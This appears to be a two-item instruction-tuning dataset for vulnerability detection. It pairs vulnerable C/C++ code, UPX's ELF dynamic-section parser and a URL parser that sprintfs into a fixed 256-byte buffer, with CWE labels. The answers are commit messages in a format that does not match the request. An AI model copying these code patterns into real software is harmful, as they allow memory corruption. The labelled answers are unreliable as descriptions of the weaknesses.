<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: PackLinuxElf64::invert_pt_dynamic(Elf64_Dyn const *dynp) { if (dt_table[Elf64_Dyn::DT_NULL]) { return; // not 1st time; do not change upx_dt_init } Elf64_Dyn const *const dynp0 = dynp; unsigned ndx = 1+ 0; if (dynp) for (; ; ++ndx, ++dynp) { upx_uint64_t const d_tag = get_te64(&dynp->d_tag); if (d_tag>>32) { // outrageous char msg[50]; snprintf(msg, sizeof(msg), "bad Elf64_Dyn[%d].d_tag %#lx", -1+ ndx, (long unsigned)d_tag); throwCantPack(msg); } if (d_tag < DT_NUM) { if (Elf64_Dyn::DT_NEEDED != d_tag && dt_table[d_tag] && get_te64(&dynp->d_val) != get_te64(&dynp0[-1+ dt_table[d_tag]].d_val)) { char msg[50]; snprintf(msg, sizeof(msg), "duplicate DT_%#x: [%#x] [%#x]", (unsigned)d_tag, -1+ dt_table[d_tag], -1+ ndx); throwCantPack(msg); } dt_table[d_tag] = ndx; } if (Elf64_Dyn::DT_NULL == d_tag) { break; // check here so that dt_table[DT_NULL] is set } } upx_dt_init = 0; if (dt_table[Elf64_Dyn::DT_INIT]) upx_dt_init = Elf64_Dyn::DT_INIT; else if (dt_table[Elf64_Dyn::DT_PREINIT_ARRAY]) upx_dt_init = Elf64_Dyn::DT_PREINIT_ARRAY; else if (dt_table[Elf64_Dyn::DT_INIT_ARRAY]) upx_dt_init = Elf64_Dyn::DT_INIT_ARRAY; unsigned const z_str = dt_table[Elf64_Dyn::DT_STRSZ]; if (z_str) { strtab_end = get_te64(&dynp0[-1+ z_str].d_val); if ((u64_t)file_size <= strtab_end) { // FIXME: weak char msg[50]; snprintf(msg, sizeof(msg), "bad DT_STRSZ %#x", strtab_end); throwCantPack(msg); } } // DT_SYMTAB has no designated length. // End it when next area else starts; often DT_STRTAB. (FIXME) unsigned const x_sym = dt_table[Elf64_Dyn::DT_SYMTAB]; unsigned const x_str = dt_table[Elf64_Dyn::DT_STRTAB]; if (x_sym && x_str) { upx_uint64_t const v_sym = get_te64(&dynp0[-1+ x_sym].d_val); upx_uint64_t const v_str = get_te64(&dynp0[-1+ x_str].d_val); unsigned const z_sym = dt_table[Elf64_Dyn::DT_SYMENT]; unsigned const sz_sym = !z_sym ? sizeof(Elf64_Sym) : get_te64(&dynp0[-1+ z_sym].d_val); if (v_sym < v_str) { symnum_end = (v_str - v_sym) / sz_sym; } } // DT_HASH often ends at DT_SYMTAB unsigned const v_hsh = elf_unsigned_dynamic(Elf64_Dyn::DT_HASH); if (v_hsh && file_image) { hashtab = (unsigned const *)elf_find_dynamic(Elf64_Dyn::DT_HASH); if (!hashtab) { char msg[40]; snprintf(msg, sizeof(msg), "bad DT_HASH %#x", v_hsh); throwCantPack(msg); } unsigned const nbucket = get_te32(&hashtab[0]); unsigned const *const buckets = &hashtab[2]; unsigned const *const chains = &buckets[nbucket]; (void)chains; unsigned const v_sym = get_te32(&dynp0[-1+ x_sym].d_val); if (!nbucket || (nbucket>>31) || (file_size/sizeof(unsigned)) <= (2*nbucket) // FIXME: weak || ((v_hsh < v_sym) && (v_sym - v_hsh) < (sizeof(unsigned)*2 // headers + sizeof(*buckets)*nbucket // buckets + sizeof(*chains) *nbucket // chains )) ) { char msg[90]; snprintf(msg, sizeof(msg), "bad DT_HASH nbucket=%#x len=%#x", nbucket, (v_sym - v_hsh)); throwCantPack(msg); } } // DT_GNU_HASH often ends at DT_SYMTAB; FIXME: not for Android? unsigned const v_gsh = elf_unsigned_dynamic(Elf64_Dyn::DT_GNU_HASH); if (v_gsh && file_image) { gashtab = (unsigned const *)elf_find_dynamic(Elf64_Dyn::DT_GNU_HASH); if (!gashtab) { char msg[40]; snprintf(msg, sizeof(msg), "bad DT_GNU_HASH %#x", v_gsh); throwCantPack(msg); } unsigned const n_bucket = get_te32(&gashtab[0]); unsigned const n_bitmask = get_te32(&gashtab[2]); unsigned const gnu_shift = get_te32(&gashtab[3]); upx_uint64_t const *const bitmask = (upx_uint64_t const *)(void const *)&gashtab[4]; unsigned const *const buckets = (unsigned const *)&bitmask[n_bitmask]; unsigned const *const hasharr = &buckets[n_bucket]; (void)hasharr; //unsigned const *const gashend = &hasharr[n_bucket]; // minimum upx_uint64_t const v_sym = get_te64(&dynp0[-1+ x_sym].d_val); if (!n_bucket || !n_bitmask || (-1+ n_bitmask) & n_bitmask // not a power of 2 || 8*sizeof(upx_uint64_t) <= gnu_shift // shifted result always == 0 || (n_bucket>>30) // fie on fuzzers || (n_bitmask>>30) || (file_size/sizeof(unsigned)) <= ((sizeof(*bitmask)/sizeof(unsigned))*n_bitmask + 2*n_bucket) // FIXME: weak // FIXME: next test does work for Android? || ((v_gsh < v_sym) && (v_sym - v_gsh) < (sizeof(unsigned)*4 // headers + sizeof(*bitmask)*n_bitmask // bitmask + sizeof(*buckets)*n_bucket // buckets + sizeof(*hasharr)*n_bucket // hasharr )) ) { char msg[90]; snprintf(msg, sizeof(msg), "bad DT_GNU_HASH n_bucket=%#x n_bitmask=%#x len=%#lx", n_bucket, n_bitmask, (long unsigned)(v_sym - v_gsh)); throwCantPack(msg); } } unsigned const e_shstrndx = get_te16(&ehdri.e_shstrndx); if (e_shnum <= e_shstrndx && !(0==e_shnum && 0==e_shstrndx) ) { char msg[40]; snprintf(msg, sizeof(msg), "bad .e_shstrndx %d >= .e_shnum %d", e_shstrndx, e_shnum); throwCantPack(msg); } } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-703', 'CWE-369'], 'message': 'Detect bogus DT_SYMENT. https://github.com/upx/upx/issues/331 modified: p_lx_elf.cpp'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: bool extract_sockaddr(char *url, char **sockaddr_url, char **sockaddr_port) { char *url_begin, *url_end, *ipv6_begin, *ipv6_end, *port_start = NULL; char url_address[256], port[6]; int url_len, port_len = 0; *sockaddr_url = url; url_begin = strstr(url, "//"); if (!url_begin) url_begin = url; else url_begin += 2; /* Look for numeric ipv6 entries */ ipv6_begin = strstr(url_begin, "["); ipv6_end = strstr(url_begin, "]"); if (ipv6_begin && ipv6_end && ipv6_end > ipv6_begin) url_end = strstr(ipv6_end, ":"); else url_end = strstr(url_begin, ":"); if (url_end) { url_len = url_end - url_begin; port_len = strlen(url_begin) - url_len - 1; if (port_len < 1) return false; port_start = url_end + 1; } else url_len = strlen(url_begin); if (url_len < 1) return false; sprintf(url_address, "%.*s", url_len, url_begin); if (port_len) { char *slash; snprintf(port, 6, "%.*s", port_len, port_start); slash = strchr(port, '/'); if (slash) *slash = '\0'; } else strcpy(port, "80"); *sockaddr_port = strdup(port); *sockaddr_url = strdup(url_address); return true; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'Do some random sanity checking for stratum message parsing'</s>